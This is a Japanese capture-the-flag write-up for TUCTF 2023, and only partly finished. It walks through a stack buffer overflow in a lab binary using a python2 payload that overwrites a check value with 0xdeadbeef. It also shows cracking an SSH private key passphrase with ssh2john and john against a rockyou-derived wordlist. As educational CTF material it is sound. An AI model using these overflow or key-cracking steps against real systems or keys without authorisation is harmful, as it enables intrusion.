TUCTF2023 WriteUpすこしだけ

# TUCTFに参加しました
TUCTTFにソロチームGreen Teaで参加し、370ポイントを獲得して193位でした。
解いた問題のWriteUpを残しておく
編集中です

# pwn 
## Hidden-Value
ファイル"hiddenvalue"が渡される。
とりあえずfileコマンドをたたく

```
$ file hidden-value
hidden-value: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=54c8ec71703e58a595fc2f2d517fe1a393942512, for GNU/Linux 3.2.0, not stripped
```
64bit ELF
とりあえず実行してみる
```
./hidden-value
Enter your name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
! Nothing special happened.
Segmentation fault
```
たぶんBoFでしょう
gefに突っ込む
```
Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401090  strcpy@plt
0x00000000004010a0  puts@plt
0x00000000004010b0  printf@plt
0x00000000004010c0  fgets@plt
0x00000000004010d0  setvbuf@plt
0x00000000004010e0  fopen@plt
0x00000000004010f0  _start
0x0000000000401120  _dl_relocate_static_pie
0x0000000000401130  deregister_tm_clones
0x0000000000401160  register_tm_clones
0x00000000004011a0  __do_global_dtors_aux
0x00000000004011d0  frame_dummy
0x00000000004011d6  hidden_command
0x0000000000401235  greet_user
0x000000000040128f  main
0x0000000000401320  __libc_csu_init
0x0000000000401390  __libc_csu_fini
0x0000000000401398  _fini
```
main, greet_user, hidden_commandが怪しい。多分greet_userからhidden_commandに飛ばす感じでしょうか
一応checksec
```
Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial
```
カナリアないのでBoFでhidden_commandに飛ばすプランで行きましょう
mainのアセンブラを抜粋
```
   0x00000000004012ef <+96>:    lea    rax,[rbp-0x70]
   0x00000000004012f3 <+100>:   mov    esi,0x64
   0x00000000004012f8 <+105>:   mov    rdi,rax
   0x00000000004012fb <+108>:   call   0x4010c0 <fgets@plt>
   0x0000000000401300 <+113>:   lea    rax,[rbp-0x70]
   0x0000000000401304 <+117>:   mov    rdi,rax
   0x0000000000401307 <+120>:   call   0x401235 <greet_user>
```
入力を受け取ってgreet_userに渡している。
greet_userのアセンブラ抜粋
```
   0x0000000000401241 <+12>:    mov    QWORD PTR [rbp-0x38],rdi
   0x0000000000401245 <+16>:    mov    DWORD PTR [rbp-0x4],0x12345678
   0x000000000040124c <+23>:    mov    rdx,QWORD PTR [rbp-0x38]
   0x0000000000401250 <+27>:    lea    rax,[rbp-0x30]
   0x0000000000401254 <+31>:    mov    rsi,rdx
   0x0000000000401257 <+34>:    mov    rdi,rax
   0x000000000040125a <+37>:    call   0x401090 <strcpy@plt>
   0x000000000040125f <+42>:    cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x0000000000401266 <+49>:    jne    0x401274 <greet_user+63>
   0x0000000000401268 <+51>:    mov    eax,0x0
   0x000000000040126d <+56>:    call   0x4011d6 <hidden_command>
```
引数、つまり入力を[rbp-0x38]にロードしている。
+42で[rbp-0x4]と0xdeadbeefを比較して、等しかったらhidden_commandが呼ばれる。

0x38 - 0x4 = 44なのでpayloadはこんな感じに
```
python2 -c "print 'a'*44 + '\xef\xbe\xad\xde'"
```
いざ実行
```
python2 -c "print 'a'*44 + '\xef\xbe\xad\xde'" | ./hidden-value
Enter your name: Congratulations! You have executed the hidden command.
Segmentation fault
```
とれました

# misc
## A.R.C.1
ファイル"sheep"が渡される。
とりあえずfileコマンド
```
file sheep
sheep: OpenSSH private key
```
OpenSSHの秘密鍵
key-genしてみる
```
sudo chmod 600 sheep
ssh-keygen -y -f sheep
Enter passphrase:
Load key "sheep": incorrect passphrase supplied to decrypt private key
```
パスフレーズが必要。問題文的にもパスフレーズがflagのようだ。
johnに流せば何とかなるでしょう。問題文は、パスワードはsheepを含むと告げているのでそれ用のワードリストも作る。
```
cat /usr/share/wordlists/rockyou.txt | grep sheep > catList.txt
ssh2john sheep > sheepHash.txt
john --wordlist=catList.txt sheepHash.txt
```
これでパスワードが分かって終了

---
ここからは気が向けば追記
## A.R.K.2

# Crypt 
## KeyBoard Cipher

# Programming
##